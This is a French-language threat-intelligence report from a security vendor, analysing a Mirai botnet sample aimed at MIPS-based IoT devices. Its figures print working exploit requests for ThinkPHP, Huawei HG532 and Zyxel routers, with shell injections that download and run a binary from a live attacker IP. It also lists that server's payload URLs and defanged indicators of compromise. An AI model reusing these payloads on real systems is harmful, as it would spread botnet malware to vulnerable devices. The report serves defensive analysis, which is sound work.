STREAMSCAN

ANALYSE

MALWARE MIRAI (BOTNET)

NOV 2025 //

Introduction

Le présent rapport concerne l'analyse de l'outil malicieux Mira qui transforme des objets connectés /IOT (caméras, routeurs, DVR, etc.) en botnet en exploitant des identifiants par défaut ou faibles et en scannant massivement Internet. Une fois infectés, ces appareils reçoivent des commandes à distance pour lancer d'énormes attaques par déni de service distribué (DDoS).

Nous observons une recrudescence d'attaques DDOS impliqués Mira et nous avons décidé de l'analyser afin de comprendre son fonctionnement.

Analyse de l'outil malicieux Mirai

Informations sur l'échantillon Mirai analysé

Paramètres	Info
Hash MD5	b9f4eacdb255cd4547f05522a195dbfa
Hash SHA-256	70a4ae8bb252ae1cbda0575338561374a5026192fb48f61543909b6e7510818c
Taille du fichier	115.73 KB (118512 bytes)
Date de première apparition	2025-10-09 00:22:51 UTC

Analyse du code malicieux Mirai

La commande file indique que l'architecture est MIPS, une architecture de microprocesseur encore couramment utilisée dans les systèmes embarqués et certaines applications hautes performances.

```
┌──(root㉿homepc)-[/mnt/e/70a4ae8bb252ae1cbda0575338561374a5026192fb48f61543909b6e7510818c]
└─# file 70a4ae8bb252ae1cbda0575338561374a5026192fb48f61543909b6e7510818c.elf
70a4ae8bb252ae1cbda0575338561374a5026192fb48f61543909b6e7510818c.elf: ELF 32-bit LSB executable, MIPS,
MIPS-I version 1 (SYSV), statically linked, stripped
```

Figure1 : la commande file indique une architecture MIPS

En analysant le code malicieux Mirai, nous avons trouvé plusieurs chaînes de requêtes HTTP en rapport avec des vulnérabilités largement connues pour être exploitées par les botnets Mirai.

Exploit CVE-2018-20062 – ThinkPHP (vulnérabilité critique de score 9.8/10)

```
GET
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0
]=shell_exec&vars[1][]='wget http://213.209.143.62/bins/x86 -O thonkphp ; chmod
777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1\r\nConnection:
keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: /\r\nUser-Agent:
Uirusu/2.0\r\n
```

Figure2 : requête HTTP malveillante qui tente d'exécuter une commande shell arbitraire sur un serveur exécutant un point de terminaison ThinkPHP vulnérable. Elle cible un point de terminaison d'invocation interne ThinkPHP qui est bien connu dans certains bogues RCE ThinkPHP.

Un serveur ThinkPHP vulnérable permet à des attaquants distants d'exécuter un code PHP arbitraire via une utilisation malveillante du filtre.

L'attaquant tente d'appeler dynamiquement la fonction *call_user_func_array* à l'aide de *shell_exec*, une fonction PHP permettant d'exécuter une commande shell sur le serveur.

- Il télécharge un fichier binaire situé dans hxxp[:]//213.209.143[.]62/bins/x86 et stocké sous le nom thonkphp.
- Modifie les permissions d'exécution à l'aide de chmod 777.
- Ensuite, suppression forcée du « thinkphp », apparemment une erreur typographique, afin d'effacer toute trace.

Exploit CVE-2017-17215 - Huawei HG532 (vulnérabilité de niveau Élévé - score 9.8/10)

```
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\nContent-Length: 430\r\nConnection: keep-
alive\r\nAccept: */*\r\nAuthorization: Digest username="dslf-config",
realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30",
uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5",
qop="auth", nc=00000001, cnonce="248d1a2560100669"\r\n\r\n<?xml version="1.0" ?><s:Envelope
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade
xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget
-g 213.209.143.62 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary;
/tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo
HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>\r\n\r\n
```

Figure3 : Exploit abusant des routeurs Huawei HG5332.

Un pirate peut envoyer un paquet malveillant au port TCP 37215 afin de lancer des attaques pouvant conduire à l'exécution de code à distance. Une fois le routeur exploité avec succès, un shell est exécuté, téléchargeant un fichier binaire à l'aide de busybox et stocké dans /tmp/binary avec une architecture de microprocesseur MIPS comme Huawei HG532.

Exploit CVE2017-18368 – ZYXEL P660HN-T1A (vulnérabilité critique de score 9.8/10)

```
POST /cgi-bin/ViewLog.asp HTTP/1.1\r\nHôte : 192.168.0.14:80\r\nConnexion : keep-alive\r\nAccept-Encoding : gzip, deflate\r\nAccept : */*\r\nUser-Agent : python-requests/2.20.0\r\nContent-Length : 227\r\nContent-Type : application/x-www-form-urlencoded\r\n\r\n /bin/busybox wget http://213.209.143.62/zyxel.sh ; chmod +x zyxel.sh; ./zyxel.sh
```

Figure4 : Exploit abusant des routeurs sans fil Zyxel P66HN-T1A.

Exploit abusant du routeur sans fil P660HN-T1A de Zyxel. La fonction de transfert des journaux système à distance est vulnérable à l'injection de commandes et peut être exploitée via le paramètre remote_host, mais dans ce cas, il n'existe aucun paramètre remote_host.

Scanned	Detections	Status	URL
2025-11-07	21 / 98	-	http://213.209.143.62/px86_32
2025-11-06	20 / 98	-	http://213.209.143.62/bins/arm4
2025-11-04	20 / 98	200	http://213.209.143.62/
2025-11-04	18 / 98	-	http://213.209.143.62:1024/
2025-11-04	20 / 98	-	http://213.209.143.62/bins/arm6
2025-11-04	21 / 98	-	http://213.209.143.62/parm7
2025-11-02	19 / 98	-	https://213.209.143.62/
2025-11-01	19 / 98	200	http://213.209.143.62/bins/
2025-11-01	20 / 98	-	http://213.209.143.62/bins/sh4
2025-10-28	18 / 98	404	http://213.209.143.62/bot.arm6;cat
2025-11-02	20 / 98	-	http://213.209.143.62/bot.arm7
2025-10-28	20 / 98	-	http://213.209.143.62/kljasdfgldfgldkfbjdoigfbjsd
2025-10-31	20 / 98	-	http://213.209.143.62/bins/bot.arm4
2025-11-01	18 / 98	-	http://213.209.143.62:48647/
2025-11-01	20 / 98	-	http://213.209.143.62/bins/arm7
2025-11-01	18 / 98	-	http://213.209.143.62:3905/
2025-10-26	19 / 98	200	http://213.209.143.62/bins/UnHAnaAWdlr.sh4
2025-10-26	19 / 98	200	http://213.209.143.62/bins/UnHAnaAWdlr.arm
2025-10-26	19 / 98	200	http://213.209.143.62/bins/UnHAnaAWdlr.mips
2025-10-26	19 / 98	200	http://213.209.143.62/bins/UnHAnaAWdlr.ppc

Figure5 : L'adresse IP est connue pour être un distributeur du botnet Mirai ciblant plusieurs architectures.

Indicateurs de compromissions de la variante Mirai analysée

Les IOC de la variante Mirai analysée sont les suivants :

Commandes exécutées.

- /bin/busybox wget -g 213.209.143[.]62 -l /tmp/binary -r /mips ; /bin/busybox chmod 777 * /tmp/binary ; /tmp/binary mips
- wget hxxp[:]//213[.]209[.]143[.]62/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp
- /bin/busybox wget hxxp[:]//213.209.143[.]62/zyxel.sh ; chmod +x zyxel.sh ; ./zyxel.sh

Adresse IP :

- 213.209.143[.]62

Recommandations

Nous faisons les recommandations suivantes pour vous protéger contre l'outil malicieux Mirai :

- Bloquer l'IP 213.209.143[.]62 dans votre coupe-feu.

- Les vulnérabilités exploitées sont toutes de type RCE (exécution de code malicieux à distance) et peuvent comprendre vos équipements même si vous utilisez du MFA.

  Pour en savoir plus sur la dangerosité des vulnérabilités RCE, veuillez consulter notre article de blog suivant : https://streamscan.ai/blog/vulnerabilite-rce-overview-fr/

- Mettre en place un programme de gestion des vulnérabilités rigoureux et appliquer régulièrement les correctifs de sécurité sur vos équipements IOT.

  Noter aussi que ce sont de vieilles vulnérabilités (2017, 2018, etc.) qui sont exploitées, ce qui signifie que les organisations ne mettent pas à jour leurs dispositifs IOT.

STREAMSCAN

Cet article vous a été présenté par **Streamscan**. Notre solution de détection et réponse gérées (DRG) combine notre technologie de détection de cybermenaces **CDS** basée sur l'AI, notre **EDR** et le soutien de notre équipe de chasseurs de cybermenaces, pour fournir la sécurité réseau dont votre organisation a besoin.

Contactez notre équipe de spécialistes en cybersécurité et planifiez une démo pour découvrir comment StreamScan peut vous aider à protéger votre entreprise ou votre organisation

Courriel : info@streamscan.ai

Tel : 1 877 208-9040

https://www.streamscan.ai

-